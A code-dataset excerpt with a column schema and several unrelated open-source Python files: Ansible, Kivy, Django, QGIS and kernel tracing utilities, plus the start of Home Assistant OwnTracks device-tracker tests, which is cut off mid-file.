repo_name
stringlengths
5
100
path
stringlengths
4
375
copies
stringclasses
991 values
size
stringlengths
4
7
content
stringlengths
666
1M
license
stringclasses
15 values
yqm/sl4a
python/src/Lib/plat-sunos5/SUNAUDIODEV.py
66
1578
# Symbolic constants for use with sunaudiodev module # The names are the same as in audioio.h with the leading AUDIO_ # removed. from warnings import warnpy3k warnpy3k("the SUNAUDIODEV module has been removed in Python 3.0", stacklevel=2) del warnpy3k # Not all values are supported on all releases of SunOS. # Encoding types, for fields i_encoding and o_encoding ENCODING_NONE = 0 # no encoding assigned ENCODING_ULAW = 1 # u-law encoding ENCODING_ALAW = 2 # A-law encoding ENCODING_LINEAR = 3 # Linear PCM encoding # Gain ranges for i_gain, o_gain and monitor_gain MIN_GAIN = 0 # minimum gain value MAX_GAIN = 255 # maximum gain value # Balance values for i_balance and o_balance LEFT_BALANCE = 0 # left channel only MID_BALANCE = 32 # equal left/right channel RIGHT_BALANCE = 64 # right channel only BALANCE_SHIFT = 3 # Port names for i_port and o_port PORT_A = 1 PORT_B = 2 PORT_C = 3 PORT_D = 4 SPEAKER = 0x01 # output to built-in speaker HEADPHONE = 0x02 # output to headphone jack LINE_OUT = 0x04 # output to line out MICROPHONE = 0x01 # input from microphone LINE_IN = 0x02 # input from line in CD = 0x04 # input from on-board CD inputs INTERNAL_CD_IN = CD # input from internal CDROM
apache-2.0
ericgarrigues/ansible-modules-extras
system/locale_gen.py
20
6736
#!/usr/bin/python # -*- coding: utf-8 -*- import os import os.path from subprocess import Popen, PIPE, call import re DOCUMENTATION = ''' --- module: locale_gen short_description: Creates or removes locales. description: - Manages locales by editing /etc/locale.gen and invoking locale-gen. version_added: "1.6" author: "Augustus Kling (@AugustusKling)" options: name: description: - Name and encoding of the locale, such as "en_GB.UTF-8". required: true default: null aliases: [] state: description: - Whether the locale shall be present. required: false choices: ["present", "absent"] default: "present" ''' EXAMPLES = ''' # Ensure a locale exists. - locale_gen: name=de_CH.UTF-8 state=present ''' LOCALE_NORMALIZATION = { ".utf8": ".UTF-8", ".eucjp": ".EUC-JP", } # =========================================== # location module specific support methods. # def is_available(name, ubuntuMode): """Check if the given locale is available on the system. This is done by checking either : * if the locale is present in /etc/locales.gen * or if the locale is present in /usr/share/i18n/SUPPORTED""" if ubuntuMode: __regexp = '^(?P<locale>\S+_\S+) (?P<charset>\S+)\s*$' __locales_available = '/usr/share/i18n/SUPPORTED' else: __regexp = '^#{0,1}\s*(?P<locale>\S+_\S+) (?P<charset>\S+)\s*$' __locales_available = '/etc/locale.gen' re_compiled = re.compile(__regexp) fd = open(__locales_available, 'r') for line in fd: result = re_compiled.match(line) if result and result.group('locale') == name: return True fd.close() return False def is_present(name): """Checks if the given locale is currently installed.""" output = Popen(["locale", "-a"], stdout=PIPE).communicate()[0] return any(fix_case(name) == fix_case(line) for line in output.splitlines()) def fix_case(name): """locale -a might return the encoding in either lower or upper case. Passing through this function makes them uniform for comparisons.""" for s, r in LOCALE_NORMALIZATION.iteritems(): name = name.replace(s, r) return name def replace_line(existing_line, new_line): """Replaces lines in /etc/locale.gen""" try: f = open("/etc/locale.gen", "r") lines = [line.replace(existing_line, new_line) for line in f] finally: f.close() try: f = open("/etc/locale.gen", "w") f.write("".join(lines)) finally: f.close() def set_locale(name, enabled=True): """ Sets the state of the locale. Defaults to enabled. """ search_string = '#{0,1}\s*%s (?P<charset>.+)' % name if enabled: new_string = '%s \g<charset>' % (name) else: new_string = '# %s \g<charset>' % (name) try: f = open("/etc/locale.gen", "r") lines = [re.sub(search_string, new_string, line) for line in f] finally: f.close() try: f = open("/etc/locale.gen", "w") f.write("".join(lines)) finally: f.close() def apply_change(targetState, name): """Create or remove locale. Keyword arguments: targetState -- Desired state, either present or absent. name -- Name including encoding such as de_CH.UTF-8. """ if targetState=="present": # Create locale. set_locale(name, enabled=True) else: # Delete locale. set_locale(name, enabled=False) localeGenExitValue = call("locale-gen") if localeGenExitValue!=0: raise EnvironmentError(localeGenExitValue, "locale.gen failed to execute, it returned "+str(localeGenExitValue)) def apply_change_ubuntu(targetState, name): """Create or remove locale. Keyword arguments: targetState -- Desired state, either present or absent. name -- Name including encoding such as de_CH.UTF-8. """ if targetState=="present": # Create locale. # Ubuntu's patched locale-gen automatically adds the new locale to /var/lib/locales/supported.d/local localeGenExitValue = call(["locale-gen", name]) else: # Delete locale involves discarding the locale from /var/lib/locales/supported.d/local and regenerating all locales. try: f = open("/var/lib/locales/supported.d/local", "r") content = f.readlines() finally: f.close() try: f = open("/var/lib/locales/supported.d/local", "w") for line in content: locale, charset = line.split(' ') if locale != name: f.write(line) finally: f.close() # Purge locales and regenerate. # Please provide a patch if you know how to avoid regenerating the locales to keep! localeGenExitValue = call(["locale-gen", "--purge"]) if localeGenExitValue!=0: raise EnvironmentError(localeGenExitValue, "locale.gen failed to execute, it returned "+str(localeGenExitValue)) # ============================================================== # main def main(): module = AnsibleModule( argument_spec = dict( name = dict(required=True), state = dict(choices=['present','absent'], default='present'), ), supports_check_mode=True ) name = module.params['name'] state = module.params['state'] if not os.path.exists("/etc/locale.gen"): if os.path.exists("/var/lib/locales/supported.d/local"): # Ubuntu created its own system to manage locales. ubuntuMode = True else: module.fail_json(msg="/etc/locale.gen and /var/lib/locales/supported.d/local are missing. Is the package \"locales\" installed?") else: # We found the common way to manage locales. ubuntuMode = False if not is_available(name, ubuntuMode): module.fail_json(msg="The locales you've entered is not available " "on your system.") if is_present(name): prev_state = "present" else: prev_state = "absent" changed = (prev_state!=state) if module.check_mode: module.exit_json(changed=changed) else: if changed: try: if ubuntuMode==False: apply_change(state, name) else: apply_change_ubuntu(state, name) except EnvironmentError, e: module.fail_json(msg=e.strerror, exitValue=e.errno) module.exit_json(name=name, changed=changed, msg="OK") # import module snippets from ansible.module_utils.basic import * main()
gpl-3.0
jegger/kivy
kivy/uix/bubble.py
16
12684
''' Bubble ====== .. versionadded:: 1.1.0 .. image:: images/bubble.jpg :align: right The Bubble widget is a form of menu or a small popup where the menu options are stacked either vertically or horizontally. The :class:`Bubble` contains an arrow pointing in the direction you choose. Simple example -------------- .. include:: ../../examples/widgets/bubble_test.py :literal: Customize the Bubble -------------------- You can choose the direction in which the arrow points:: Bubble(arrow_pos='top_mid') The widgets added to the Bubble are ordered horizontally by default, like a Boxlayout. You can change that by:: orientation = 'vertical' To add items to the bubble:: bubble = Bubble(orientation = 'vertical') bubble.add_widget(your_widget_instance) To remove items:: bubble.remove_widget(widget) or bubble.clear_widgets() To access the list of children, use content.children:: bubble.content.children .. warning:: This is important! Do not use bubble.children To change the appearance of the bubble:: bubble.background_color = (1, 0, 0, .5) #50% translucent red bubble.border = [0, 0, 0, 0] background_image = 'path/to/background/image' arrow_image = 'path/to/arrow/image' ''' __all__ = ('Bubble', 'BubbleButton', 'BubbleContent') from kivy.uix.image import Image from kivy.uix.widget import Widget from kivy.uix.scatter import Scatter from kivy.uix.gridlayout import GridLayout from kivy.uix.boxlayout import BoxLayout from kivy.uix.button import Button from kivy.properties import ObjectProperty, StringProperty, OptionProperty, \ ListProperty, BooleanProperty from kivy.clock import Clock from kivy.base import EventLoop from kivy.metrics import dp class BubbleButton(Button): '''A button intended for use in a Bubble widget. You can use a "normal" button class, but it will not look good unless the background is changed. Rather use this BubbleButton widget that is already defined and provides a suitable background for you. ''' pass class BubbleContent(GridLayout): pass class Bubble(GridLayout): '''Bubble class. See module documentation for more information. ''' background_color = ListProperty([1, 1, 1, 1]) '''Background color, in the format (r, g, b, a). To use it you have to set either :attr:`background_image` or :attr:`arrow_image` first. :attr:`background_color` is a :class:`~kivy.properties.ListProperty` and defaults to [1, 1, 1, 1]. ''' border = ListProperty([16, 16, 16, 16]) '''Border used for :class:`~kivy.graphics.vertex_instructions.BorderImage` graphics instruction. Used with the :attr:`background_image`. It should be used when using custom backgrounds. It must be a list of 4 values: (bottom, right, top, left). Read the BorderImage instructions for more information about how to use it. :attr:`border` is a :class:`~kivy.properties.ListProperty` and defaults to (16, 16, 16, 16) ''' background_image = StringProperty( 'atlas://data/images/defaulttheme/bubble') '''Background image of the bubble. :attr:`background_image` is a :class:`~kivy.properties.StringProperty` and defaults to 'atlas://data/images/defaulttheme/bubble'. ''' arrow_image = StringProperty( 'atlas://data/images/defaulttheme/bubble_arrow') ''' Image of the arrow pointing to the bubble. :attr:`arrow_image` is a :class:`~kivy.properties.StringProperty` and defaults to 'atlas://data/images/defaulttheme/bubble_arrow'. ''' show_arrow = BooleanProperty(True) ''' Indicates whether to show arrow. .. versionadded:: 1.8.0 :attr:`show_arrow` is a :class:`~kivy.properties.BooleanProperty` and defaults to `True`. ''' arrow_pos = OptionProperty('bottom_mid', options=( 'left_top', 'left_mid', 'left_bottom', 'top_left', 'top_mid', 'top_right', 'right_top', 'right_mid', 'right_bottom', 'bottom_left', 'bottom_mid', 'bottom_right')) '''Specifies the position of the arrow relative to the bubble. Can be one of: left_top, left_mid, left_bottom top_left, top_mid, top_right right_top, right_mid, right_bottom bottom_left, bottom_mid, bottom_right. :attr:`arrow_pos` is a :class:`~kivy.properties.OptionProperty` and defaults to 'bottom_mid'. ''' content = ObjectProperty(None) '''This is the object where the main content of the bubble is held. :attr:`content` is a :class:`~kivy.properties.ObjectProperty` and defaults to 'None'. ''' orientation = OptionProperty('horizontal', options=('horizontal', 'vertical')) '''This specifies the manner in which the children inside bubble are arranged. Can be one of 'vertical' or 'horizontal'. :attr:`orientation` is a :class:`~kivy.properties.OptionProperty` and defaults to 'horizontal'. ''' limit_to = ObjectProperty(None, allownone=True) '''Specifies the widget to which the bubbles position is restricted. .. versionadded:: 1.6.0 :attr:`limit_to` is a :class:`~kivy.properties.ObjectProperty` and defaults to 'None'. ''' def __init__(self, **kwargs): self._prev_arrow_pos = None self._arrow_layout = BoxLayout() self._bk_img = Image( source=self.background_image, allow_stretch=True, keep_ratio=False, color=self.background_color) self.background_texture = self._bk_img.texture self._arrow_img = Image(source=self.arrow_image, allow_stretch=True, color=self.background_color) self.content = content = BubbleContent(parent=self) super(Bubble, self).__init__(**kwargs) content.parent = None self.add_widget(content) self.on_arrow_pos() def add_widget(self, *l): content = self.content if content is None: return if l[0] == content or l[0] == self._arrow_img\ or l[0] == self._arrow_layout: super(Bubble, self).add_widget(*l) else: content.add_widget(*l) def remove_widget(self, *l): content = self.content if not content: return if l[0] == content or l[0] == self._arrow_img\ or l[0] == self._arrow_layout: super(Bubble, self).remove_widget(*l) else: content.remove_widget(l[0]) def clear_widgets(self, **kwargs): content = self.content if not content: return if kwargs.get('do_super', False): super(Bubble, self).clear_widgets() else: content.clear_widgets() def on_show_arrow(self, instance, value): self._arrow_img.opacity = int(value) def on_parent(self, instance, value): Clock.schedule_once(self._update_arrow) def on_pos(self, instance, pos): lt = self.limit_to if lt: self.limit_to = None if lt is EventLoop.window: x = y = 0 top = lt.height right = lt.width else: x, y = lt.x, lt.y top, right = lt.top, lt.right self.x = max(self.x, x) self.right = min(self.right, right) self.top = min(self.top, top) self.y = max(self.y, y) self.limit_to = lt def on_background_image(self, *l): self._bk_img.source = self.background_image def on_background_color(self, *l): if self.content is None: return self._arrow_img.color = self._bk_img.color = self.background_color def on_orientation(self, *l): content = self.content if not content: return if self.orientation[0] == 'v': content.cols = 1 content.rows = 99 else: content.cols = 99 content.rows = 1 def on_arrow_image(self, *l): self._arrow_img.source = self.arrow_image def on_arrow_pos(self, *l): self_content = self.content if not self_content: Clock.schedule_once(self.on_arrow_pos) return if self_content not in self.children: Clock.schedule_once(self.on_arrow_pos) return self_arrow_pos = self.arrow_pos if self._prev_arrow_pos == self_arrow_pos: return self._prev_arrow_pos = self_arrow_pos self_arrow_layout = self._arrow_layout self_arrow_layout.clear_widgets() self_arrow_img = self._arrow_img self._sctr = self._arrow_img self.clear_widgets(do_super=True) self_content.parent = None self_arrow_img.size_hint = (1, None) self_arrow_img.height = dp(self_arrow_img.texture_size[1]) self_arrow_img.pos = 0, 0 widget_list = [] arrow_list = [] parent = self_arrow_img.parent if parent: parent.remove_widget(self_arrow_img) if self_arrow_pos[0] == 'b' or self_arrow_pos[0] == 't': self.cols = 1 self.rows = 3 self_arrow_layout.orientation = 'horizontal' self_arrow_img.width = self.width / 3 self_arrow_layout.size_hint = (1, None) self_arrow_layout.height = self_arrow_img.height if self_arrow_pos[0] == 'b': if self_arrow_pos == 'bottom_mid': widget_list = (self_content, self_arrow_img) else: if self_arrow_pos == 'bottom_left': arrow_list = (self_arrow_img, Widget(), Widget()) elif self_arrow_pos == 'bottom_right': # add two dummy widgets arrow_list = (Widget(), Widget(), self_arrow_img) widget_list = (self_content, self_arrow_layout) else: sctr = Scatter(do_translation=False, rotation=180, do_rotation=False, do_scale=False, size_hint=(None, None), size=self_arrow_img.size) sctr.add_widget(self_arrow_img) if self_arrow_pos == 'top_mid': # add two dummy widgets arrow_list = (Widget(), sctr, Widget()) elif self_arrow_pos == 'top_left': arrow_list = (sctr, Widget(), Widget()) elif self_arrow_pos == 'top_right': arrow_list = (Widget(), Widget(), sctr) widget_list = (self_arrow_layout, self_content) elif self_arrow_pos[0] == 'l' or self_arrow_pos[0] == 'r': self.cols = 3 self.rows = 1 self_arrow_img.width = self.height / 3 self_arrow_layout.orientation = 'vertical' self_arrow_layout.cols = 1 self_arrow_layout.size_hint = (None, 1) self_arrow_layout.width = self_arrow_img.height rotation = -90 if self_arrow_pos[0] == 'l' else 90 self._sctr = sctr = Scatter(do_translation=False, rotation=rotation, do_rotation=False, do_scale=False, size_hint=(None, None), size=(self_arrow_img.size)) sctr.add_widget(self_arrow_img) if self_arrow_pos[-4:] == '_top': arrow_list = (Widget(size_hint=(1, .07)), sctr, Widget(size_hint=(1, .3))) elif self_arrow_pos[-4:] == '_mid': arrow_list = (Widget(), sctr, Widget()) Clock.schedule_once(self._update_arrow) elif self_arrow_pos[-7:] == '_bottom': arrow_list = (Widget(), Widget(), sctr) if self_arrow_pos[0] == 'l': widget_list = (self_arrow_layout, self_content) else: widget_list = (self_content, self_arrow_layout) # add widgets to arrow_layout add = self_arrow_layout.add_widget for widg in arrow_list: add(widg) # add widgets to self add = self.add_widget for widg in widget_list: add(widg) def _update_arrow(self, *dt): if self.arrow_pos in ('left_mid', 'right_mid'): self._sctr.center_y = self._arrow_layout.center_y
mit
wfxiang08/django185
django/contrib/auth/middleware.py
172
5116
from django.contrib import auth from django.contrib.auth import load_backend from django.contrib.auth.backends import RemoteUserBackend from django.core.exceptions import ImproperlyConfigured from django.utils.functional import SimpleLazyObject def get_user(request): if not hasattr(request, '_cached_user'): request._cached_user = auth.get_user(request) return request._cached_user class AuthenticationMiddleware(object): def process_request(self, request): assert hasattr(request, 'session'), ( "The Django authentication middleware requires session middleware " "to be installed. Edit your MIDDLEWARE_CLASSES setting to insert " "'django.contrib.sessions.middleware.SessionMiddleware' before " "'django.contrib.auth.middleware.AuthenticationMiddleware'." ) request.user = SimpleLazyObject(lambda: get_user(request)) class SessionAuthenticationMiddleware(object): """ Formerly, a middleware for invalidating a user's sessions that don't correspond to the user's current session authentication hash. However, it caused the "Vary: Cookie" header on all responses. Now a backwards compatibility shim that enables session verification in auth.get_user() if this middleware is in MIDDLEWARE_CLASSES. """ def process_request(self, request): pass class RemoteUserMiddleware(object): """ Middleware for utilizing Web-server-provided authentication. If request.user is not authenticated, then this middleware attempts to authenticate the username passed in the ``REMOTE_USER`` request header. If authentication is successful, the user is automatically logged in to persist the user in the session. The header used is configurable and defaults to ``REMOTE_USER``. Subclass this class and change the ``header`` attribute if you need to use a different header. """ # Name of request header to grab username from. This will be the key as # used in the request.META dictionary, i.e. the normalization of headers to # all uppercase and the addition of "HTTP_" prefix apply. header = "REMOTE_USER" def process_request(self, request): # AuthenticationMiddleware is required so that request.user exists. if not hasattr(request, 'user'): raise ImproperlyConfigured( "The Django remote user auth middleware requires the" " authentication middleware to be installed. Edit your" " MIDDLEWARE_CLASSES setting to insert" " 'django.contrib.auth.middleware.AuthenticationMiddleware'" " before the RemoteUserMiddleware class.") try: username = request.META[self.header] except KeyError: # If specified header doesn't exist then remove any existing # authenticated remote-user, or return (leaving request.user set to # AnonymousUser by the AuthenticationMiddleware). if request.user.is_authenticated(): self._remove_invalid_user(request) return # If the user is already authenticated and that user is the user we are # getting passed in the headers, then the correct user is already # persisted in the session and we don't need to continue. if request.user.is_authenticated(): if request.user.get_username() == self.clean_username(username, request): return else: # An authenticated user is associated with the request, but # it does not match the authorized user in the header. self._remove_invalid_user(request) # We are seeing this user for the first time in this session, attempt # to authenticate the user. user = auth.authenticate(remote_user=username) if user: # User is valid. Set request.user and persist user in the session # by logging the user in. request.user = user auth.login(request, user) def clean_username(self, username, request): """ Allows the backend to clean the username, if the backend defines a clean_username method. """ backend_str = request.session[auth.BACKEND_SESSION_KEY] backend = auth.load_backend(backend_str) try: username = backend.clean_username(username) except AttributeError: # Backend has no clean_username method. pass return username def _remove_invalid_user(self, request): """ Removes the current authenticated user in the request which is invalid but only if the user is authenticated via the RemoteUserBackend. """ try: stored_backend = load_backend(request.session.get(auth.BACKEND_SESSION_KEY, '')) except ImportError: # backend failed to load auth.logout(request) else: if isinstance(stored_backend, RemoteUserBackend): auth.logout(request)
bsd-3-clause
ojengwa/talk
venv/lib/python2.7/site-packages/django/utils/translation/trans_null.py
84
1536
# These are versions of the functions in django.utils.translation.trans_real # that don't actually do anything. This is purely for performance, so that # settings.USE_I18N = False can use this module rather than trans_real.py. from django.conf import settings from django.utils.encoding import force_text from django.utils.safestring import mark_safe, SafeData def ngettext(singular, plural, number): if number == 1: return singular return plural ngettext_lazy = ngettext def ungettext(singular, plural, number): return force_text(ngettext(singular, plural, number)) def pgettext(context, message): return ugettext(message) def npgettext(context, singular, plural, number): return ungettext(singular, plural, number) activate = lambda x: None deactivate = deactivate_all = lambda: None get_language = lambda: settings.LANGUAGE_CODE get_language_bidi = lambda: settings.LANGUAGE_CODE in settings.LANGUAGES_BIDI check_for_language = lambda x: True def gettext(message): if isinstance(message, SafeData): return mark_safe(message) return message def ugettext(message): return force_text(gettext(message)) gettext_noop = gettext_lazy = _ = gettext def to_locale(language): p = language.find('-') if p >= 0: return language[:p].lower() + '_' + language[p + 1:].upper() else: return language.lower() def get_language_from_request(request, check_path=False): return settings.LANGUAGE_CODE def get_language_from_path(request): return None
mit
camptocamp/QGIS
python/plugins/processing/lidar/lastools/lassplit.py
1
2355
# -*- coding: utf-8 -*- """ *************************************************************************** lassplit.py --------------------- Date : August 2012 Copyright : (C) 2012 by Victor Olaya Email : volayaf at gmail dot com --------------------- Date : September 2013 Copyright : (C) 2013 by Martin Isenburg Email : martin near rapidlasso point com *************************************************************************** * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * * the Free Software Foundation; either version 2 of the License, or * * (at your option) any later version. * * * *************************************************************************** """ __author__ = 'Victor Olaya' __date__ = 'August 2012' __copyright__ = '(C) 2012, Victor Olaya' # This will get replaced with a git SHA1 when you do a git archive __revision__ = '$Format:%H$' import os from processing.lidar.lastools.LAStoolsUtils import LAStoolsUtils from processing.lidar.lastools.LAStoolsAlgorithm import LAStoolsAlgorithm from processing.parameters.ParameterNumber import ParameterNumber class lassplit(LAStoolsAlgorithm): NUM_POINTS = "NUM_POINTS" def defineCharacteristics(self): self.name = "lassplit" self.group = "LAStools" self.addParametersVerboseGUI() self.addParametersPointInputGUI() self.addParameter(ParameterNumber(lassplit.NUM_POINTS, "number of points in output files", 1, None, 1000000)) self.addParametersPointOutputGUI() def processAlgorithm(self, progress): commands = [os.path.join(LAStoolsUtils.LAStoolsPath(), "bin", "lassplit.exe")] self.addParametersVerboseCommands(commands) self.addParametersPointInputCommands(commands) commands.append("-split") commands.append(self.getParameterValue(lassplit.NUM_POINTS)) self.addParametersPointOutputCommands(commands) LAStoolsUtils.runLAStools(commands, progress)
gpl-2.0
sunyihuan326/DeltaLab
shuwei_fengge/practice_two/load_data/knn_outline.py
1
1415
# coding:utf-8 ''' Created on 2017/12/29. @author: chk01 ''' from practice_one.Company.load_material.utils import * from practice_one.model.utils import * from imblearn.over_sampling import RandomOverSampler def preprocessing(trX, teX, trY, teY): res = RandomOverSampler(ratio={0: 700, 1: 700, 2: 700}) m, w, h = trX.shape trX = np.reshape(trX, [m, -1]) # print(trX.shape, np.squeeze(trY).shape) trX, trY = res.fit_sample(trX, np.squeeze(trY)) new_m = trX.shape[0] trX = trX.reshape(new_m, w, h) trY = trY.reshape([-1, 1]) return trX, teX, trY, teY if __name__ == '__main__': file = 'knn-outline.mat' X_train, X_test, Y_train, Y_test = load_data(file) print(X_train.shape) print(X_test.shape) print(Y_train.shape) X_train, X_test, Y_train, Y_test = preprocessing(X_train, X_test, Y_train, Y_test) print(X_train.shape) print(X_test.shape) print(Y_train.shape) test_num = Y_test.shape[0] outline = NearestNeighbor() outline.train(X_train, Y_train) # distinces = np.zeros([376, ]) error = 0 Error = [[2], [], [0]] k = 100 for i in range(376): distinces = np.linalg.norm(outline.trX - X_test[i], axis=(1, 2)) preY = Y_train[np.argsort(distinces)[:k]] preY = np.sum(preY) / k if int(np.squeeze(preY)) in Error[int(Y_test[i])]: error += 1 print(error / test_num)
mit
Constellation/linux-3.13-rc2
scripts/tracing/draw_functrace.py
14676
3560
#!/usr/bin/python """ Copyright 2008 (c) Frederic Weisbecker <[email protected]> Licensed under the terms of the GNU GPL License version 2 This script parses a trace provided by the function tracer in kernel/trace/trace_functions.c The resulted trace is processed into a tree to produce a more human view of the call stack by drawing textual but hierarchical tree of calls. Only the functions's names and the the call time are provided. Usage: Be sure that you have CONFIG_FUNCTION_TRACER # mount -t debugfs nodev /sys/kernel/debug # echo function > /sys/kernel/debug/tracing/current_tracer $ cat /sys/kernel/debug/tracing/trace_pipe > ~/raw_trace_func Wait some times but not too much, the script is a bit slow. Break the pipe (Ctrl + Z) $ scripts/draw_functrace.py < raw_trace_func > draw_functrace Then you have your drawn trace in draw_functrace """ import sys, re class CallTree: """ This class provides a tree representation of the functions call stack. If a function has no parent in the kernel (interrupt, syscall, kernel thread...) then it is attached to a virtual parent called ROOT. """ ROOT = None def __init__(self, func, time = None, parent = None): self._func = func self._time = time if parent is None: self._parent = CallTree.ROOT else: self._parent = parent self._children = [] def calls(self, func, calltime): """ If a function calls another one, call this method to insert it into the tree at the appropriate place. @return: A reference to the newly created child node. """ child = CallTree(func, calltime, self) self._children.append(child) return child def getParent(self, func): """ Retrieve the last parent of the current node that has the name given by func. If this function is not on a parent, then create it as new child of root @return: A reference to the parent. """ tree = self while tree != CallTree.ROOT and tree._func != func: tree = tree._parent if tree == CallTree.ROOT: child = CallTree.ROOT.calls(func, None) return child return tree def __repr__(self): return self.__toString("", True) def __toString(self, branch, lastChild): if self._time is not None: s = "%s----%s (%s)\n" % (branch, self._func, self._time) else: s = "%s----%s\n" % (branch, self._func) i = 0 if lastChild: branch = branch[:-1] + " " while i < len(self._children): if i != len(self._children) - 1: s += "%s" % self._children[i].__toString(branch +\ " |", False) else: s += "%s" % self._children[i].__toString(branch +\ " |", True) i += 1 return s class BrokenLineException(Exception): """If the last line is not complete because of the pipe breakage, we want to stop the processing and ignore this line. """ pass class CommentLineException(Exception): """ If the line is a comment (as in the beginning of the trace file), just ignore it. """ pass def parseLine(line): line = line.strip() if line.startswith("#"): raise CommentLineException m = re.match("[^]]+?\\] +([0-9.]+): (\\w+) <-(\\w+)", line) if m is None: raise BrokenLineException return (m.group(1), m.group(2), m.group(3)) def main(): CallTree.ROOT = CallTree("Root (Nowhere)", None, None) tree = CallTree.ROOT for line in sys.stdin: try: calltime, callee, caller = parseLine(line) except BrokenLineException: break except CommentLineException: continue tree = tree.getParent(caller) tree = tree.calls(callee, calltime) print CallTree.ROOT if __name__ == "__main__": main()
gpl-2.0
oandrew/home-assistant
tests/components/device_tracker/test_owntracks.py
10
28145
"""The tests for the Owntracks device tracker.""" import json import os import unittest from collections import defaultdict from unittest.mock import patch from tests.common import (assert_setup_component, fire_mqtt_message, get_test_home_assistant, mock_mqtt_component) import homeassistant.components.device_tracker.owntracks as owntracks from homeassistant.bootstrap import setup_component from homeassistant.components import device_tracker from homeassistant.const import CONF_PLATFORM, STATE_NOT_HOME USER = 'greg' DEVICE = 'phone' LOCATION_TOPIC = 'owntracks/{}/{}'.format(USER, DEVICE) EVENT_TOPIC = 'owntracks/{}/{}/event'.format(USER, DEVICE) WAYPOINT_TOPIC = owntracks.WAYPOINT_TOPIC.format(USER, DEVICE) USER_BLACKLIST = 'ram' WAYPOINT_TOPIC_BLOCKED = owntracks.WAYPOINT_TOPIC.format( USER_BLACKLIST, DEVICE) DEVICE_TRACKER_STATE = 'device_tracker.{}_{}'.format(USER, DEVICE) IBEACON_DEVICE = 'keys' REGION_TRACKER_STATE = 'device_tracker.beacon_{}'.format(IBEACON_DEVICE) CONF_MAX_GPS_ACCURACY = 'max_gps_accuracy' CONF_WAYPOINT_IMPORT = owntracks.CONF_WAYPOINT_IMPORT CONF_WAYPOINT_WHITELIST = owntracks.CONF_WAYPOINT_WHITELIST CONF_SECRET = owntracks.CONF_SECRET LOCATION_MESSAGE = { 'batt': 92, 'cog': 248, 'tid': 'user', 'lon': 1.0, 't': 'u', 'alt': 27, 'acc': 60, 'p': 101.3977584838867, 'vac': 4, 'lat': 2.0, '_type': 'location', 'tst': 1, 'vel': 0} LOCATION_MESSAGE_INACCURATE = { 'batt': 92, 'cog': 248, 'tid': 'user', 'lon': 2.0, 't': 'u', 'alt': 27, 'acc': 2000, 'p': 101.3977584838867, 'vac': 4, 'lat': 6.0, '_type': 'location', 'tst': 1, 'vel': 0} LOCATION_MESSAGE_ZERO_ACCURACY = { 'batt': 92, 'cog': 248, 'tid': 'user', 'lon': 2.0, 't': 'u', 'alt': 27, 'acc': 0, 'p': 101.3977584838867, 'vac': 4, 'lat': 6.0, '_type': 'location', 'tst': 1, 'vel': 0} REGION_ENTER_MESSAGE = { 'lon': 1.0, 'event': 'enter', 'tid': 'user', 'desc': 'inner', 'wtst': 1, 't': 'b', 'acc': 60, 'tst': 2, 'lat': 2.0, '_type': 'transition'} REGION_LEAVE_MESSAGE = { 'lon': 1.0, 'event': 'leave', 'tid': 'user', 'desc': 'inner', 'wtst': 1, 't': 'b', 'acc': 60, 'tst': 2, 'lat': 2.0, '_type': 'transition'} REGION_LEAVE_INACCURATE_MESSAGE = { 'lon': 10.0, 'event': 'leave', 'tid': 'user', 'desc': 'inner', 'wtst': 1, 't': 'b', 'acc': 2000, 'tst': 2, 'lat': 20.0, '_type': 'transition'} WAYPOINTS_EXPORTED_MESSAGE = { "_type": "waypoints", "_creator": "test", "waypoints": [ { "_type": "waypoint", "tst": 3, "lat": 47, "lon": 9, "rad": 10, "desc": "exp_wayp1" }, { "_type": "waypoint", "tst": 4, "lat": 3, "lon": 9, "rad": 500, "desc": "exp_wayp2" } ] } WAYPOINTS_UPDATED_MESSAGE = { "_type": "waypoints", "_creator": "test", "waypoints": [ { "_type": "waypoint", "tst": 4, "lat": 9, "lon": 47, "rad": 50, "desc": "exp_wayp1" }, ] } WAYPOINT_ENTITY_NAMES = ['zone.greg_phone__exp_wayp1', 'zone.greg_phone__exp_wayp2', 'zone.ram_phone__exp_wayp1', 'zone.ram_phone__exp_wayp2'] REGION_ENTER_ZERO_MESSAGE = { 'lon': 1.0, 'event': 'enter', 'tid': 'user', 'desc': 'inner', 'wtst': 1, 't': 'b', 'acc': 0, 'tst': 2, 'lat': 2.0, '_type': 'transition'} REGION_LEAVE_ZERO_MESSAGE = { 'lon': 10.0, 'event': 'leave', 'tid': 'user', 'desc': 'inner', 'wtst': 1, 't': 'b', 'acc': 0, 'tst': 2, 'lat': 20.0, '_type': 'transition'} BAD_JSON_PREFIX = '--$this is bad json#--' BAD_JSON_SUFFIX = '** and it ends here ^^' SECRET_KEY = 's3cretkey' ENCRYPTED_LOCATION_MESSAGE = { # Encrypted version of LOCATION_MESSAGE using libsodium and SECRET_KEY '_type': 'encrypted', 'data': ('qm1A83I6TVFRmH5343xy+cbex8jBBxDFkHRuJhELVKVRA/DgXcyKtghw' '9pOw75Lo4gHcyy2wV5CmkjrpKEBR7Qhye4AR0y7hOvlx6U/a3GuY1+W8' 'I4smrLkwMvGgBOzXSNdVTzbFTHDvG3gRRaNHFkt2+5MsbH2Dd6CXmpzq' 'DIfSN7QzwOevuvNIElii5MlFxI6ZnYIDYA/ZdnAXHEVsNIbyT2N0CXt3' 'fTPzgGtFzsufx40EEUkC06J7QTJl7lLG6qaLW1cCWp86Vp0eL3vtZ6xq')} MOCK_ENCRYPTED_LOCATION_MESSAGE = { # Mock-encrypted version of LOCATION_MESSAGE using pickle '_type': 'encrypted', 'data': ('gANDCXMzY3JldGtleXEAQ6p7ImxvbiI6IDEuMCwgInQiOiAidSIsICJi' 'YXR0IjogOTIsICJhY2MiOiA2MCwgInZlbCI6IDAsICJfdHlwZSI6ICJs' 'b2NhdGlvbiIsICJ2YWMiOiA0LCAicCI6IDEwMS4zOTc3NTg0ODM4ODY3' 'LCAidHN0IjogMSwgImxhdCI6IDIuMCwgImFsdCI6IDI3LCAiY29nIjog' 'MjQ4LCAidGlkIjogInVzZXIifXEBhnECLg==') } class BaseMQTT(unittest.TestCase): """Base MQTT assert functions.""" hass = None def send_message(self, topic, message, corrupt=False): """Test the sending of a message.""" str_message = json.dumps(message) if corrupt: mod_message = BAD_JSON_PREFIX + str_message + BAD_JSON_SUFFIX else: mod_message = str_message fire_mqtt_message(self.hass, topic, mod_message) self.hass.block_till_done() def assert_location_state(self, location): """Test the assertion of a location state.""" state = self.hass.states.get(DEVICE_TRACKER_STATE) self.assertEqual(state.state, location) def assert_location_latitude(self, latitude): """Test the assertion of a location latitude.""" state = 